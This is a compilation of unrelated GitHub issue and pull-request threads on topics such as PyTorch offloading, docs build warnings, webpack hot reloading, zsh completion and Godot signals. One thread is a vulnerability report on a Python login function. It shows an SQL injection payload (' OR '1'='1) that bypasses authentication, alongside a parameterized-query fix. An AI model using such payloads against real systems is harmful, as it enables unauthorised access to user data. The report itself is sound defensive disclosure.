pytorch isn't taking much advantage of MPS in a unified memory way, and, i agree, there isn't a whole lot of point to it on MPS other than to be able to run the same code and ensure a consistent experience.
for ROCm, i'm almost certain it just masquerades as CUDA and is invisible. the Intel and other systems like Ascend NPU rely on XPU or NPU extensions in pytorch, and TPUs require XLA.

Yeah agree with @gau-nernst I'd just maybe prioritize sanity checking whether the offloader works on an AMD GPU

This (cpu offload on AMD) is on our roadmap, stay tuned.

@petrex Sounds awesome! Actually our single-GPU CPU-offload optimizer only relies on PyTorch's CUDA stream API, so as long as PyTorch ROCm supports those API, it should work on AMD GPUs too! I don't have access to AMD GPUs so I can't test it out though.
https://github.com/pytorch/ao/blob/v0.6.1/torchao/prototype/low_bit_optim/cpu_offload.py


Translate README into Simplified Chinese

translate readme into simplified chinese
improve the translation of rules

@wayou Thanks for the awesome contribution! I added you as a collaborator on this repository, so you can be part of the team (if you want). Please take a look at the contributing guidelines here: https://github.com/feross/standard/blob/master/CONTRIBUTING.md
There will probably be small changes to the readme and rules document over time and it would be great if you could help keep the Simplified Chinese translation up to date 👍 👍 👍

Aaand, the changes are live here now! https://standardjs.com/readme-zhcn.html

nice too see :smile:


rework README

Describe your changes
Rework of the entire top-level README

looks very good! maybe we should also add a reference to the versioning/releasing document? (here)


Command error handling option

Signed-off-by: Andre Fredette<EMAIL_ADDRESS>

Thanks @anfredette , this does the trick!

@anfredette Single Attach has the same issue (looking at code haven't tested).  It has the .await? and panic.

@anfredette Single Attach has the same issue (looking at code haven't tested). It has the .await? and panic.

Ok, I'll make the same change there.

@anfredette Single Attach has the same issue (looking at code haven't tested). It has the .await? and panic.

Ok, I'll make the same change there.

Done.


Accessibility: Focus order doesn’t follow expectations

From Andrew's accessibility review:
Can the top nav be at the top of the DOM?  The result for end users is that they tab directly into the main content, and then the top nav isn’t focused until closer to the end of the page.  The behavior is actually different on different pages:

Home page, events, blog, columns:

Main content
Top nav
Footer (about, authors, etc)

Article pages, write for us page:

Main content
Comments
Footer
Top nav

The keyboard navigation should be:

Top nav
Article content, in the order presented
Footer

The navigation is nearly correct now except that the top nav is always out of place.
This is a WCAG 2.0 3.2.3 Failure (Consistent navigation)

@michellekondou I re-ordered the source last week — do you think we should take the big "A LIST APART" out of the tab order altogether? The laurel link is the exact same thing.

I reordered the source, and the nav is now the first thing that's tabbed through.


Modal memory leak

This is from repeatedly opening and closing the modal via Launch Demo Modal on http://getbootstrap.com/javascript/#modals.  DOM node count is continually growing.  Unsure if issue, or a misunderstanding on my part.
Thanks for all your work!

Did you force a GC run? That brings the node count back to normal for me, which would seem to indicate that it's not a true memory leak:

You're right.  I guess I was under the impression that the GC events in my screenshot were targeting everything.


update MOAB version

This appears to work using the newest release of MOAB.
Note: it probably makes sense to update the HDF5 version being used, but rebuilding it for each CI will slow things down.  The alternative gets us into more complicated CI space.
Fixes #16

We need the development files to build MOAB

I see, HDF5 is an optional dependency of MOAB, but for our project, we require HDF5 support in MOAB. Currently, MOAB utilizes system libraries for this purpose. Since I have an active PR, I'm considering adding all the system libraries directly into MOAB itself and building the wheel package? This way, we may not need to separately install HDF5 as it will be included within MOAB.
Here's a breakdown of the pros and cons:
Pros: When installing PyMOAB, all necessary dependencies will be automatically installed.
Cons: Since these dependencies will be precompiled, we won't be able to tweak them. If modifications are needed, we'll have to build them from source.

Going to merge this for progress' sake. We can continue the discussion about updating the HDF5 version separately if needed.


Update PayrollUS.md

add garnishments

Docs Build status updates of commit 03fcdbe:
:warning: Validation status: warnings

File
Status
Preview URL
Details

dynamics-gp/payroll/PayrollUS.md
:warning:Warning
View
Details

dynamics-gp/payroll/PayrollUS.md

Line 576, Column 1: [Warning: duplicate-alt-text - See documentation] Alt text 'Screenshot' is duplicated. Within an article, alt text must be unique.
Line 617, Column 3: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot' is duplicated. Within an article, alt text must be unique.
Line 711, Column 1: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot ' is duplicated. Within an article, alt text must be unique.
Line 733, Column 3: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot' is duplicated. Within an article, alt text must be unique.
Line 766, Column 5: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot' is duplicated. Within an article, alt text must be unique.
Line 1077, Column 5: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot ' is duplicated. Within an article, alt text must be unique.
Line 1168, Column 1: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot' is duplicated. Within an article, alt text must be unique.
Line 1179, Column 1: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot' is duplicated. Within an article, alt text must be unique.
Line 1193, Column 1: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot' is duplicated. Within an article, alt text must be unique.
Line 1512, Column 1: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot ' is duplicated. Within an article, alt text must be unique.
Line 1632, Column 5: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot ' is duplicated. Within an article, alt text must be unique.
Line 1794, Column 1: [Warning: file-not-found - See documentation] Invalid file link: 'media/DEDLEVY01.JPG'.
Line 1794, Column 1: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot ' is duplicated. Within an article, alt text must be unique.
Line 1806, Column 1: [Warning: file-not-found - See documentation] Invalid file link: 'media/DEDLEVY02.JPG'.
Line 1806, Column 1: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot ' is duplicated. Within an article, alt text must be unique.
Line 1816, Column 1: [Warning: file-not-found - See documentation] Invalid file link: 'media/DEDLEVY03.JPG'.
Line 1816, Column 1: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot ' is duplicated. Within an article, alt text must be unique.
Line 1821, Column 1: [Warning: file-not-found - See documentation] Invalid file link: 'media/DEDLEVY04.JPG'.
Line 1821, Column 1: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot ' is duplicated. Within an article, alt text must be unique.
Line 1841, Column 1: [Warning: file-not-found - See documentation] Invalid file link: 'media/DEDCHILDSUP.JPG'.
Line 1841, Column 1: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot ' is duplicated. Within an article, alt text must be unique.
Line 1862, Column 1: [Warning: file-not-found - See documentation] Invalid file link: 'media/DEDCHILDSUP1.JPG'.
Line 1862, Column 1: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot ' is duplicated. Within an article, alt text must be unique.
Line 1866, Column 1: [Warning: file-not-found - See documentation] Invalid file link: 'media/DEDCHILDSUP2.JPG'.
Line 1866, Column 1: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot ' is duplicated. Within an article, alt text must be unique.
Line 1870, Column 1: [Warning: file-not-found - See documentation] Invalid file link: 'media/DEDCHILDSUP3.JPG'.
Line 1870, Column 1: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot ' is duplicated. Within an article, alt text must be unique.
Line 1875, Column 1: [Warning: file-not-found - See documentation] Invalid file link: 'media/DEDCHILDSUP4.JPG'.
Line 1875, Column 1: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot ' is duplicated. Within an article, alt text must be unique.
Line 2024, Column 5: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot' is duplicated. Within an article, alt text must be unique.
Line 2361, Column 1: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot ' is duplicated. Within an article, alt text must be unique.
Line 2644, Column 5: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot of a cell phone Description automatically generated' is duplicated. Within an article, alt text must be unique.
Line 2830, Column 5: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot' is duplicated. Within an article, alt text must be unique.
Line 2935, Column 1: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot ' is duplicated. Within an article, alt text must be unique.
Line 3055, Column 5: [Warning: duplicate-alt-text - See documentation] Alt text 'screenshot' is duplicated. Within an article, alt text must be unique.
Line 3188, Column 5: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot' is duplicated. Within an article, alt text must be unique.
Line 3337, Column 5: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot' is duplicated. Within an article, alt text must be unique.
Line 3405, Column 5: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot ' is duplicated. Within an article, alt text must be unique.
Line 3473, Column 5: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot ' is duplicated. Within an article, alt text must be unique.
Line 3538, Column 1: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot of a cell phone Description automatically generated' is duplicated. Within an article, alt text must be unique.
Line 3780, Column 1: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot of a cell phone Description automatically generated' is duplicated. Within an article, alt text must be unique.
Line 3879, Column 1: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot of a cell phone Description automatically generated' is duplicated. Within an article, alt text must be unique.
Line 4011, Column 1: [Warning: duplicate-alt-text - See documentation] Alt text 'Screenshot' is duplicated. Within an article, alt text must be unique.
Line 4098, Column 1: [Warning: duplicate-alt-text - See documentation] Alt text 'Screenshot' is duplicated. Within an article, alt text must be unique.
Line 4287, Column 1: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot of a cell phone Description automatically generated' is duplicated. Within an article, alt text must be unique.
Line 4303, Column 1: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot of a cell phone Description automatically generated' is duplicated. Within an article, alt text must be unique.
Line 4424, Column 5: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot of a cell phone Description automatically generated' is duplicated. Within an article, alt text must be unique.
Line 4539, Column 1: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot of a cell phone Description automatically generated' is duplicated. Within an article, alt text must be unique.
Line 4552, Column 1: [Warning: code-block-indented - See documentation] Indented code blocks aren't allowed. Use a Markdown code block surrounded by triple backticks (```).
Line 4565, Column 1: [Warning: code-block-indented - See documentation] Indented code blocks aren't allowed. Use a Markdown code block surrounded by triple backticks (```).
Line 4580, Column 1: [Warning: code-block-indented - See documentation] Indented code blocks aren't allowed. Use a Markdown code block surrounded by triple backticks (```).
Line 4585, Column 1: [Warning: code-block-indented - See documentation] Indented code blocks aren't allowed. Use a Markdown code block surrounded by triple backticks (```).
Line 4591, Column 1: [Warning: code-block-indented - See documentation] Indented code blocks aren't allowed. Use a Markdown code block surrounded by triple backticks (```).
Line 4594, Column 1: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot of a cell phone Description automatically generated' is duplicated. Within an article, alt text must be unique.
Line 4620, Column 1: [Warning: code-block-indented - See documentation] Indented code blocks aren't allowed. Use a Markdown code block surrounded by triple backticks (```).
Line 4627, Column 1: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot of a cell phone Description automatically generated' is duplicated. Within an article, alt text must be unique.
Line 4676, Column 1: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot of a cell phone Description automatically generated' is duplicated. Within an article, alt text must be unique.
Line 4701, Column 1: [Warning: code-block-indented - See documentation] Indented code blocks aren't allowed. Use a Markdown code block surrounded by triple backticks (```).
Line 4709, Column 1: [Warning: code-block-indented - See documentation] Indented code blocks aren't allowed. Use a Markdown code block surrounded by triple backticks (```).
Line 4712, Column 1: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot of a cell phone Description automatically generated' is duplicated. Within an article, alt text must be unique.
Line 4759, Column 1: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot of a cell phone Description automatically generated' is duplicated. Within an article, alt text must be unique.
Line 4791, Column 1: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot of a cell phone Description automatically generated' is duplicated. Within an article, alt text must be unique.
Line 4821, Column 1: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot of a cell phone Description automatically generated' is duplicated. Within an article, alt text must be unique.
Line 4852, Column 1: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot of a cell phone Description automatically generated' is duplicated. Within an article, alt text must be unique.
Line 4884, Column 1: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot of a cell phone Description automatically generated' is duplicated. Within an article, alt text must be unique.
Line 4915, Column 1: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot of a cell phone Description automatically generated' is duplicated. Within an article, alt text must be unique.
Line 4948, Column 1: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot of a cell phone Description automatically generated' is duplicated. Within an article, alt text must be unique.
Line 4978, Column 1: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot of a cell phone Description automatically generated' is duplicated. Within an article, alt text must be unique.
Line 5003, Column 1: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot of a cell phone Description automatically generated' is duplicated. Within an article, alt text must be unique.
Line 5027, Column 1: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot of a cell phone Description automatically generated' is duplicated. Within an article, alt text must be unique.
Line 5058, Column 5: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot of a computer Description automatically generated' is duplicated. Within an article, alt text must be unique.
Line 5067, Column 1: [Warning: code-block-indented - See documentation] Indented code blocks aren't allowed. Use a Markdown code block surrounded by triple backticks (```).
Line 5171, Column 5: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot of a cell phone Description automatically generated' is duplicated. Within an article, alt text must be unique.
Line 5290, Column 5: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot of a cell phone Description automatically generated' is duplicated. Within an article, alt text must be unique.
Line 5363, Column 5: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot of a cell phone Description automatically generated' is duplicated. Within an article, alt text must be unique.
Line 5388, Column 5: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot of a cell phone Description automatically generated' is duplicated. Within an article, alt text must be unique.
Line 5550, Column 1: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot of a cell phone Description automatically generated' is duplicated. Within an article, alt text must be unique.
Line 5556, Column 1: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot of a computer Description automatically generated' is duplicated. Within an article, alt text must be unique.
Line 5562, Column 1: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot of a computer Description automatically generated' is duplicated. Within an article, alt text must be unique.
Line 5880, Column 5: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot of a cell phone Description automatically generated' is duplicated. Within an article, alt text must be unique.
Line 6569, Column 5: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot of a cell phone Description automatically generated' is duplicated. Within an article, alt text must be unique.
Line 6615, Column 5: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot of a cell phone Description automatically generated' is duplicated. Within an article, alt text must be unique.
Line 6907, Column 1: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot of a cell phone Description automatically generated' is duplicated. Within an article, alt text must be unique.
Line 6944, Column 5: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot of a cell phone Description automatically generated' is duplicated. Within an article, alt text must be unique.
Line 7240, Column 5: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot of a cell phone Description automatically generated' is duplicated. Within an article, alt text must be unique.
Line 7359, Column 5: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot' is duplicated. Within an article, alt text must be unique.
Line 7405, Column 5: [Warning: duplicate-alt-text - See documentation] Alt text 'screenshot' is duplicated. Within an article, alt text must be unique.
Line 7818, Column 5: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot ' is duplicated. Within an article, alt text must be unique.
Line 7975, Column 1: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot' is duplicated. Within an article, alt text must be unique.
Line 8221, Column 5: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot ' is duplicated. Within an article, alt text must be unique.
Line 8468, Column 5: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot ' is duplicated. Within an article, alt text must be unique.
Line 8496, Column 5: [Warning: duplicate-alt-text - See documentation] Alt text 'A screenshot ' is duplicated. Within an article, alt text must be unique.
Line 6084, Column 2: [Suggestion: column-header-missing - See documentation] Column headers are required for tables. Add appropriate header text, or remove any extra table cells that cause an extra column.

For more details, please refer to the build report.
If you see build warnings/errors with permission issues, it might be due to single sign-on (SSO) enabled on Microsoft's GitHub organizations. Please follow instructions here to re-authorize your GitHub account to Docs Build.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
Note: Your PR may contain errors or warnings unrelated to the files you changed. This happens when external dependencies like GitHub alias, Microsoft alias, cross repo links are updated. Please use these instructions to resolve them.
For any questions, please:Try searching the docs.microsoft.com contributor guidesPost your question in the Docs support channel


Re-evaluate resizing implementation from #8537

This is mostly just a reminder issue because i have to log off for today.
The resizing implementation we introduced in #8537 is pretty hard on the ipc, even if the window uses default decorations. I only noticed this because i was missing the default window permissions so i had thousands of error messages in the devtools console complaining about a forbidden internal command (which tbh is also weird).
Ideally the mousemove event could be handled in rust only but i'd imagine there's a reason we didn't do that so maybe the best we can do is to disable the listener in undecorated windows?

Closed in favor of #8770


Image gallery not highlighting image (WEB)

The app creates a sem-transparent overlay with a hole/cutout in the middle, this is used to highlight the current image.
It uses the Path.combine API with a PathOperation.difference, on web this is not working.
Ex code:
return Path.combine(
      PathOperation.difference,
      Path()..addRect(Rect.fromLTWH(0, 0, size.width, size.height)),
      Path()
        ..addRRect(
          RRect.fromLTRBR(
            padX,
            padY,
            size.width - padX,
            size.height - padY,
            Radius.circular(6),
          ),
        )
        ..close(),

Expected result:

Actual result:

We do it this way as it makes it very easy to accomplish this effect that the designers requested, where it acts as an animated window/viewport over top of the images:
https://github.com/gskinnerTeam/flutter-wonderous-app/assets/736973/3ac924fa-ddc5-4c82-a5a8-e474b1eb9225

Looks related to https://github.com/flutter/flutter/issues/124675

Oh perfect, ty!

btw, if this is not expected to be fixed any time soon, we could work around this by falling back to a less impressive effect on web. eg, we could just have use a semi-opaque overlay on each image, and fade it out on the selected image.
Wouldn't be quite as cool, but it would do the trick and side-step this issue for now.

@yjbanov Just curious if you think we can expect a fix in the short-term on this, or should we put a web-specific workaround in place for now?

Will do!

Closed in #152


App still maintained?

With the last commit almost 2 years ago and several corrections waiting to be integrated:is this app still maintained? If not, is it still useful or no longer up-to-date?

@AppWerft ^^?

@IzzySoft
App was deleted from the Play Store, so I think no maintenance anymore.
Use the Freifunk-Karte App instead:
https://play.google.com/store/apps/details?id=de.freifunk_karte.freifunk_karte
https://f-droid.org/de/packages/de.freifunk_karte.freifunk_karte/
If you have captivity you can maybe also work on it. Users requested a Cache Modus to use the nodes offline, but I don't have the time for now. PR are welcome.
https://gitlab.com/TheRMaverick/Freifunk-Karte

@TheRMaverick thanks, I thought so already. Reason of my question was that the app is in my repo. I can mark it "no longer maintained" – but if it no longer works, I should better remove it altogether (makes no sense to keep it then). Does it still work?
As for capacity: neither that, nor am I a developer, sorry…

@IzzySoft
I haven't it on my Phone for a while now. I think as long the community-addresses not changed, it will be worked for the user.

Thanks again, @TheRMaverick – so I hope once it stops someone screams loud enough for me to hear :smile: For now I've added a note pointing to the alternative you've mentioned.


[Proposal] Generalize conformance macros as extension macros.

Pitched here: https://forums.swift.org/t/pitch-generalize-conformance-macros-as-extension-macros/65653

You mentioned that you were going to add this to the proposal, but I can't find it. Unless you're saying it's covered by the statement about "add[ing] a conformance or an extension member", which I think could be clearer.
Do you need to be specific about what kinds of declarations these macros can be applied to?

I addressed both of these comments in https://github.com/apple/swift-evolution/pull/2090/commits/d2b22bfab901871db27dc499910bc90372145d0e. Please take a look at let me know if the proposal needs further clarification.


New Collection Project Data Quality - Edit screen shows only RG checked, but actual requirement is "any"

Create a new collection project.
For Data Quality only RG is checked:

Create the project, but don't touch the Data Quality section.
Project requirements shows "any"

eg https://www.inaturalist.org/projects/test-test-test

Can we mark RG and Needs ID by default (https://github.com/inaturalist/inaturalist/issues/2204) and make sure they are applied to the project?

@tiwane, there's a fix for this on gorilla right now if you want to test it. The underlying problem was that the form was showing Research Grade as checked by default, but that choice wasn't getting saved unless you changed the Quality Grade preference. I fixed that so now the choices on the form should actually get applied even if you don't fiddle with it, and the Requirements should match that choice. However, there are presumably some projects out there who thought they were set up to include only RG obs but are actually including all obs. Not sure what you want to do about that. IMO, leave them be, since we can't really distinguish between people who chose to have no quality grade filters and people who accepted the default.

This is looking good on Gorilla. Agreed we can leave current projects be.


Independent watchdog

This is based on similar implementations from the other stm32 crates, with some minor modifications to support the f3 specifics.
I have tested this on the stm32f303 but haven't checked the exact LSI frequencies and such for the other devices though I assume they are the same.

Sorry, I am totally behind on this. I am actually abroad right now, but I will take a look as soon as I return from my travels (about 1 week).

No worries, I have had this ready for a while now and just been too busy to submit a PR so I understand!

I rebased it onto master, as the CI got stuck. (cache was corrupted and in master cache is disabled for now)

Sorry for the slow follow up, I have cleaned this up a bit.

Thank you!
Nothing to be sorry about! :) I'm not that quick on responding either.
LGTM. I'll have a closer look this evening (CET)

Thank you for this PR.

👍  thanks for reviewing!


[HMR] Can not accept update using module.hot.update('./file', cb)

Do you want to request a feature or report a bug?
bug
What is the current behavior?
"0"-prefixed octal literals and octal escape sequences are deprecated; for octal literals use the "0o" prefix instead
If the current behavior is a bug, please provide the steps to reproduce.
https://gist.github.com/caseyWebb/a5fdd929638f961ee673581e7d68ddb1
What is the expected behavior?
No error should be thrown
Please mention other relevant information such as the browser version, Node.js version, webpack version and Operating System.

Firefox 58 & Chrome 64
Node 9.5.0
webpack 3.10.0 & webpack@next
webpack-dev-server 2.11.1 & webpack-dev-server@next
MacOS 10.13

When the NamedModulesPlugin is added, a different error is thrown, and the generated code is
webpackHotUpdate(0,{

/***/ "./src/index.js":
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
Object.defineProperty(__webpack_exports__, "__esModule", { value: true });
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__log_js__ = __webpack_require__("./src/log.js");

Object(__WEBPACK_IMPORTED_MODULE_0__log_js__["log"])()

/**
 * THIS IS THE IMPORTANT/BROKEN PART
 */
module.hot.accept("./src/log.js""./src/log.js", function(__WEBPACK_OUTDATED_DEPENDENCIES__) { /* harmony import */ __WEBPACK_IMPORTED_MODULE_0__log_js__ = __webpack_require__("./src/log.js"); (function(__WEBPACK_OUTDATED_DEPENDENCIES__) { /* harmony import */ __WEBPACK_IMPORTED_MODULE_0__log_js__ = __webpack_require__("./src/log.js"); (() => Object(__WEBPACK_IMPORTED_MODULE_0__log_js__["log"])())(__WEBPACK_OUTDATED_DEPENDENCIES__); })(__WEBPACK_OUTDATED_DEPENDENCIES__); })

/***/ }),

/***/ "./src/log.js":
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
Object.defineProperty(__webpack_exports__, "__esModule", { value: true });
/* harmony export (immutable) */ __webpack_exports__["log"] = log;
function log() {
  document.body.innerText += 'foo\n'
  document.body.innerText += 'bar\n'
}

/***/ })
})

This leads me to believe that for some reason the module identifier is being duplicated. I think the octal error is an effect of 0 being doubled to 00.

This was caused by including the HotModuleReplacementPlugin with --hot


Add support for communicating with app assigned devices

Description
Adds support for communicating with app assigned devices
Updates node editor labels
Update docs to mention devices
Related Issue(s)
https://github.com/FlowFuse/flowfuse/issues/3018
Checklist

[x] I have read the contribution guidelines
[ ] Suitable unit/system level tests have been added and they pass
[x] Documentation has been updated

[ ] Upgrade instructions
[ ] Configuration details
[ ] Concepts

[ ] Changes flowforge.yml?

[ ] Issue/PR raised on FlowFuse/helm to update ConfigMap Template
[ ] Issue/PR raised on FlowFuse/CloudProject to update values for Staging/Production

Labels

[ ] Backport needed? -> add the backport label
[ ] Includes a DB migration? -> add the area:migration label

@knolleary I have updated this to use app:app-id in the topics.
NOTE: I acknowledge no tests are written for this PR. I will follow up with an issue to get the first round of tests implemented that cover these changes.

@knolleary changes pushed for using dev: topic prefix


user api functions

User password or name or both can be updated by id
get user by id
admin can delete user by id but user cannot for now

Looks like the format checks failed on the rust side of things, but I'm okay with that for now. I know hacktoberfest ends soon in your timezone so I'll merge this before I finish my lunch break and then correct the format in develop afterwards. Thanks again @berkingurcan for your contributions!!


mattmc3/zephyr/plugins/completion/completion.plugin.zsh:56: command not found: run-compinit

All of a sudden I'm getting errors on my terminal on initialisation.
It seems to be that on completion.plugin.zsh, if manual mode is not enabled it's calling  a function called run-compinit.
In completion/plugins/run-compinit, the lines that wrap this in a function were commented out 7 months ago.
How is this supposed to work?
Thanks!

Hey @radiosilence! Thanks for the bug report. I use Zephyr as my daily driver, and I've not seen any issues like that recently. The commented # function run-compinit { might seem weird, but its normal for autoload functions, which don't require a function definition - the name of the file serves as the definition.
You wouldn't happen to have your dotfiles published somewhere, would you? If not, can you post the actual errors you're getting?
One thing to check - make sure you clear any completion cache you have with this command so you can start fresh:
setopt extended_glob
rm -ri ${XDG_CACHE_HOME:-$HOME/.cache}/{zephyr,zsh}/zcompdump*(N)

I'm currently in the process of rebuilding my config and stumbled upon a similar error. Had not all of my setops in yet, to reevaluate them, but zephyr requires setop extended_glob to be set.

Thank you @RobertBeilich. Great find. I pushed a commit that adds extended_glob in the bootstrap.zsh file since it's a critical Zsh option required for most anything Zephyr does.


only upcoming dates

i want to select date which is not passed, i.e today and future dates,

$("#selector").datepicker({
 startDate: "0"
});

https://bootstrap-datepicker.readthedocs.io/en/latest/options.html#startdate

@musman92  in the GitHub repository we only discuss bugs and new features. For this kind of questions please use any of the support alternatives like gitter or stackoverflow Thanks!
The solution @MostlyChrisJ sugests should fix your problem!


Update backend to utilize Websockets

Currently, the backend server serializes data and serves it via REST. This can cause significant delays due to serialization of large data arrays, which results ultimately in dropping of inbound stream frames. Utilizing tide-websockets will allow us to avoid serialization of this data (since we can use a TypedArray around the binary data in Javascript.

Closing as not pertinent to the current state of the code.
The current code is a single monolithic userspace application.


feat: add HTML Element CSS styles

Feature Request: CSS styles for equivalent html elements
There are some elements that I do not need a Fluent web component. For example, an anchor to look like a button. Or a simple button. Components are not free - they're more "expensive" than an HTML button, they render more HTML, cannot be copy & pasted between projects, etc.
However, if I want a button or anchor to match the styles, I must use the fluent component. I tried looking at the inspector, but there's quite a bit of cascading and isolation in the CSS used which makes it quite a task.
It would be nice to have a basic set of CSS styles that matched the web component styles for general HTML elements.

The goal of this library is not simply to offer FluentUI-style rendering.
Rather, it's to provide components adapted to the needs of the developer. For example, FluentAnchor offers an Appearance attribute for appearance, as well as IconStart and IconEnd which don't exist in the HTML a tag. This is all the more important for other, more complex components.
To "just" have a FluentUI look, you'll probably have to use other, more appropriate packages.

That was the way used by Microsoft some years ago, using Office UI Fabric JS
<button class="ms-Button">
  Create Account
</button>

Support for Office UI Fabric JS has ended. Microsoft recommend that you use the Fluent UI framework instead.

@dvoituron I understand 100% and it makes a lot of sense.
It's an awesome library and I'm just learning everything it can do and the many, many options. Maybe I'm missing a nuanced usage that hasn't clicked.
But, if I just want to do a table that is not based on a list of objects. How would I go about that? It doesn't seem like that's doable. So I can create a  but how do I style it to match?

Found that particular ask: Manual grid - https://www.fluentui-blazor.net/_content/FluentUI.Demo.Shared/sources/DataGridManual.razor.txt


I wanna ask can Winget get files like wget/apt install on linux?

I wanna ask can this kind of 'Command Prompt' get the files like: sudo apt install mono-devel

If you are talking about this application monodevelop. Then probably yes. I'll try adding manifest for it to see if it works.

I wanna know can I apply for develop this application?
I am not an employee of Microsoft

I hope this application can also work for
wget/mono getting files
And also can connection to windows server and work like ftp/ssh client

I hope this application can also work for
wget/mono getting files
And also can connection to windows server and work like ftp/ssh client

I wanna know can I apply for develop this application?

I mean winget-cli is open to contribution.

@WinkeyCheng if you have the Windows Package Manager installed on your system, it should work via CMD.


fix use of config-specified allowInsecurePredicate

for some reason we were checking allowUnfreePredicate instead
Motivation for this change
Things done

[ ] Tested using sandboxing (nix.useSandbox on NixOS, or option build-use-sandbox in nix.conf on non-NixOS)
Built on platform(s)

[ ] NixOS
[ ] macOS
[ ] other Linux distributions

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[ ] Tested compilation of all pkgs that depend on this change using nix-shell -p nox --run "nox-review wip"
[ ] Tested execution of all binary files (usually in ./result/bin/)
[ ] Fits CONTRIBUTING.md.

Thanks!


SQL injection vulnerability in check_login function

Hello,
The check_login function is vulnerable to SQL injection because it directly incorporates the email variable into the SQL query string without proper parameterization.
The SQL query:
python code
sql = "SELECT email,password from users where email = '{}'".format(email, password)
directly interpolates the user-provided email into the query string.
If an attacker crafts the email input with malicious SQL code, they can manipulate the query to bypass authentication or access unauthorized data. For example:
Input for email: ' OR '1'='1
Resulting query:
SELECT email, password FROM users WHERE email = '' OR '1'='1'
This query would return all rows in the users table because '1'='1' is always true.
Although the password is validated against the hashed value retrieved from the database, an attacker could still exploit this vulnerability to bypass login or extract sensitive data.
How to fix it:
To prevent SQL injection, you should use parameterized queries or an ORM (Object-Relational Mapping) tool that supports secure query building.
def check_login(email, password):
    conn = get_connection()
    sql = "SELECT email, password FROM users WHERE email = %s"
    cursor = conn.cursor()
    cursor.execute(sql, (email,))  # Parameterized query
    record = cursor.fetchone()

    if record is not None:
        password_hash = record[1]
        if not check_password_hash(password_hash, password):
            return False
        else:
            return True
    return False

The focus was on introducing decentralization.


[Mono] [Physics] Area3D - Connecting via code doesn't call target method

Godot version
v4.0.alpha.mono.custom_build [947a1fa09]
System information
manjaro KDE
Issue description
When you connect the Area3D via code, it doesnt work (doesnt call the target function)
using Godot;
using System;

public partial class Area3D : Godot.Area3D
{
    public override void _Ready()
    {
        base._Ready();
        Connect("body_entered",new Callable(this, nameof(OnEntered)),new Godot.Collections.Array {"hello"});
    }

    public void OnEntered(Node3D body, string msg)
    {
        GD.Print("Player: ", body.Name, "entered -> ", msg);
    }
}

PS: Even this "bug" is an error of mine, godot should tell me the error, so probably related to: #59830
